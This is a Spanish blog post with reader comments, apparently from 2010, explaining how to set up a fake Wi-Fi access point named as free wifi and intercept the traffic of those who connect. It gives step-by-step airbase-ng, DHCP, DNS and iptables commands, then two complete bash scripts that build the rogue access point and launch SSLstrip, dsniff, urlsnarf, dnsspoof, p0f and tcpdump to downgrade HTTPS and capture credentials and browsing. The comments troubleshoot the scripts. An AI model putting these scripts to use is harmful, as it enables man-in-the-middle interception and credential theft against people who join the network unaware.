Creando un punto de acceso falso – II
Hace algún tiempo escribí un artículo a modo de manual con un script final para crear puntos de acceso falso usando airbase-ng.
En este segundo artículo, voy a resumir brevemente los pasos mencionados en el primer artículo y mostrar diferentes caminos y algunas aplicaciones finales.
Lo primero será instalar los servidores DHCP y DNS necesarios, y ajustar su configuración. En este caso usaré como servidor DHCP "dhcp3-server" y como servidor DNS "bind9".
Dado que queremos ofrecer conexión a internet a los clientes, debemos configurar el servidor DHCP para usar los rangos de IP que creamos más convenientes, en el archivo /etc/dhcp3/dhcpd.conf, en mi caso queda así:
ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
Para ahorrarnos problemas, nos aseguramos de que ambos demonios están detenidos:
/etc/init.d/dhcp3-server stop
/etc/init.d/bind9 stop
Acto seguido, ajustaremos los parámetros de "airbase-ng" en función a lo que queramos hacer, en mi caso crearé un AP con cifrado WEP, por lo que los pasos para montar el AP serán:
- airbase-ng -I 100 -P -C 2 -c 6 --essid Wifli_Gratis rausb0 -w 5A303031333439454430374333
- ifconfig at0 10.0.0.1 up
- dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
- sysctl net.ipv4.ip_forward=1
- iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
- /etc/init.d/bind9 start
Listo, con esto ya tendremos la red creada y proporcionaremos acceso a internet a los clientes:
Cell 06 - Address: XX:XX:XX:XX:XX:XX
ESSID:"Wifli"
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=96/100 Signal level=-31 dBm Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=ffffffffd4670326
Una vez tenemos a los clientes conectados, vamos con lo siguiente:
SSLstrip: Suplanta sesiones web HTTPS por HTTP
$ sudo apt-get install python python-twisted-web
$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz && tar xf sslstrip-0.6.tar.gz
DSniff: Suite - Principalmente usaremos 'dsniff', 'urlsnarf' y 'dnsspoof' para suplantar nombres de dominio
- Para distribuciones basadas en Debian: $ sudo apt-get install dsniff
- Fuentes: http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz
p0f: Detección de SO pasivo
- Para distribuciones basadas en Debian: $ sudo apt-get install p0f
- Fuentes: http://lcamtuf.coredump.cx/p0f.tgz
TCPTrack: Monitor de conexiones TCP
- Para distribuciones basadas en Debian: $ sudo apt-get install tcptrack
- Fuentes: http://www.rhythm.cx/~steve/devel/tcptrack/release/1.2.0/source/tcptrack-1.2.0.tar.gz
Para comenzar está bien, aunque siempre podemos ponernos más "juguetones" y que el tráfico de red crezca de una manera descontrolada, usando karmetasploit.
Script para crear el AP:
#!/bin/sh # # Scriwap 1.5 - Script to create rogue AP # # Chema Garcia (a.k.a. sch3m4) # sch3m4@opensec.es # http://opensec.es # RUTA_AIRBASE='/usr/local/sbin/airbase-ng' RUTA_BIND9='/etc/init.d/bind9' RUTA_DHCPD3S='/etc/init.d/dhcp3-server' RUTA_DHCPD3='/usr/sbin/dhcpd3' RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf' RUTA_SYSCTL='/sbin/sysctl' RUTA_IPTABLES='/sbin/iptables' AIRBASE_IFACE='at0' LOG='.scriwap.log' function check { if [ ! $? -eq 0 ] then echo -e "[!] Error - Check "$LOG"" exit $? fi } echo "###############################" echo "# SCRIWAP 1.5 #" echo "#=============================#" echo "# Chema Garcia (aka sch3m4) #" echo "# sch3m4@opensec.es #" echo "# http://opensec.es #" echo "###############################" echo "" if [ $# -lt 4 ] then echo -e "Use: $0 <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n" echo -e "Ej: $0 wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n" exit 1 fi if [ ! $UID -eq 0 ] then sudo ls / 2>&1 >/dev/null fi #comienzo de parametros de airbase ifacenet=$1 ifacemon=$2 ip=$3 mascara=$4 narg=$# num=5 while [ $# -gt 0 ] && [ $num -le $narg ];do param="$param $5" shift num=$(($num+1)) done param="$param $ifacemon" #Activamos el IP Forwarding echo "[+] Setting up IP Forwarding" sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG check echo "[+] Stopping DHCP daemon" sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG echo "[+] Stopping DNS daemon" sudo $RUTA_BIND9 stop 2>&1 >> $LOG echo "[+] Flushing 'nat' table" sudo $RUTA_IPTABLES -t nat -F check echo "[+] Adding iptables rule" sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE check echo "[+] Setting up Acces Point..." sudo rmmod tun 2>&1 >> $LOG xterm -e sudo $RUTA_AIRBASE $param & sleep 3 echo "[+] Settin up interface $AIRBASE_IFACE" sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up check echo "[+] Starting DHCP daemon" sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG check echo "[+] Starting DNS daemon" sudo $RUTA_BIND9 start 2>&1 >> $LOG check echo -e "\n[+] Finished!\n" exit 0
Script para lanzar las herramientas:
#!/bin/bash
#
# Chema Garcia (a.k.a. sch3m4)
# sch3m4@opensec.es
# http://opensec.es
#
RUTA_IPTABLES='/sbin/iptables'
RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
RUTA_DSNIFF='/usr/sbin/dsniff'
RUTA_URLSNARF='/usr/sbin/urlsnarf'
RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
RUTA_P0F='/usr/sbin/p0f'
RUTA_TCPTRACK='/usr/bin/tcptrack'
RUTA_TCPDUMP='/usr/sbin/tcpdump'
PUERTO='4664'
RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof
if [ ! $# -eq 1 ]
then
echo -e "\nUse: $0 <iface>\n"
exit 1
fi
if [ ! $UID -eq 0 ]
then
sudo ls / 2>&1 >/dev/null
fi
echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
read SAVE
if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
then
SAVE_FILE=''
while [ -z "$SAVE_FILE" ]
do
echo -e "[?] Filename: \c"
read SAVE_FILE
done
else
SAVE_FILE=''
fi
echo '[+] Adding iptables rule'
sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO
echo -e '[+] Launching SSLstrip...\c'
xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
echo 'OK'
echo -e '[+] Launching Dsniff...\c'
xterm -e sudo $RUTA_DSNIFF -i $1 &
echo 'OK'
if [ ! -z "$RUTA_HOSTSDNS" ]
then
echo -e '[+] Launching DNSspoof...\c'
xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
echo 'OK'
fi
echo -e '[+] Launching p0f...\c'
xterm -e sudo $RUTA_P0F -i $1 -U -t &
echo 'OK'
echo -e '[+] Launching TCPtrack...\c'
xterm -e sudo $RUTA_TCPTRACK -i $1 &
echo 'OK'
echo -e '[+] Launching URLsnarf...\c'
xterm -e sudo $RUTA_URLSNARF -i $1 &
echo 'OK'
if [ ! -z "$SAVE_FILE" ]
then
echo -e '[+] Launching TCPDump...\c'
xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
echo 'OK'
fi
exit 0
Ambos scripts están disponibles en:
http://pastebin.com/f671cce89
http://pastebin.com/f332a2d1a





April 30th, 2010 - 01:13
me podrias decir como congifuro rndc y por q no encuentra tun
[+] Setting up IP Forwarding
[+] Stopping DHCP daemon
[+] Stopping DNS daemon
rndc: connect failed: 127.0.0.1#953: connection refused
[+] Flushing ‘nat’ table
[+] Adding iptables rule
[+] Setting up Acces Point…
[+] Settin up interface at0
SIOCSIFADDR: No such device
at0: ERROR while getting interface flags: No such device
SIOCSIFNETMASK: No such device
at0: ERROR while getting interface flags: No such device
[!] Error – Check .scriwap.log
April 30th, 2010 - 01:21
Si te fijas, el nombre de la nueva interface está harcodeado, así que si tienes varias interfaces tirando de tun, el script siempre intentará usar at0.
¿Has probado a realizar los mismos pasos a mano? Comprueba que puedes iniciar y detener los servicios sin problemas de configuraciones (lo necesario está en el post), y si te carga el módulo tun.
April 30th, 2010 - 01:40
@sch3m4
lo estoy haciendo por pasos a rndc q no logro correjir
las interfaces q tengo son eth0 lo wlan0, manualmente segui tu post y logre crearla pero no logre navegar por eso me baje el script para ahorrar tiempo te dejo mi email stealomega@gmail.com si podes ayudame te lo voy agradecer estube todo el dia con esto ja
April 30th, 2010 - 01:46
@sch3m4
si tun me carga en la maquina virtual pero donde tengo backtrack instalado no , nose por que?
April 30th, 2010 - 01:50
Si hablamos de varios sistemas, mal vamos :/ Si en backtrack no te carga tun, preguntales
May 1st, 2010 - 14:40
Hola:
Si bien queda claro que la intencion de airbase es otra ( :-) ) es realmente interesante la posibilidad de utilzarlo para crear APs funcionales con placas wifi baratas que no soportan el modo master (por ejemplo la rtl8187L).
De todos modos no soporta por ejemplo el uso de WPA ya que no esta implementado (solo una “mentirita” , pero no es funcional)
Conoces algun modo de usarlo en conjunto con hostapd?
May 12th, 2010 - 23:09
Hola sushisan, te refieres a usar hostapd + airbase? Para qué quieres usar ambos a la vez?
Para usar las herramientas que usa el script pero en lugar de airbase, usar hostapd, el procedimiento sería el mismo, cargar hostapd y luego las herramientas en la interface adecuada.
May 26th, 2010 - 15:08
la idea es usar aibase porque permite utilizar placas usb como AP que de otro modo serian imposibles de usar (pensemos qeu son poquisimos los chipsets que permiten el modo master!!!)
airbase permite simnular pro soft el modo master, estaria faltando los sistemas de encriptacion estandard como wpa y wep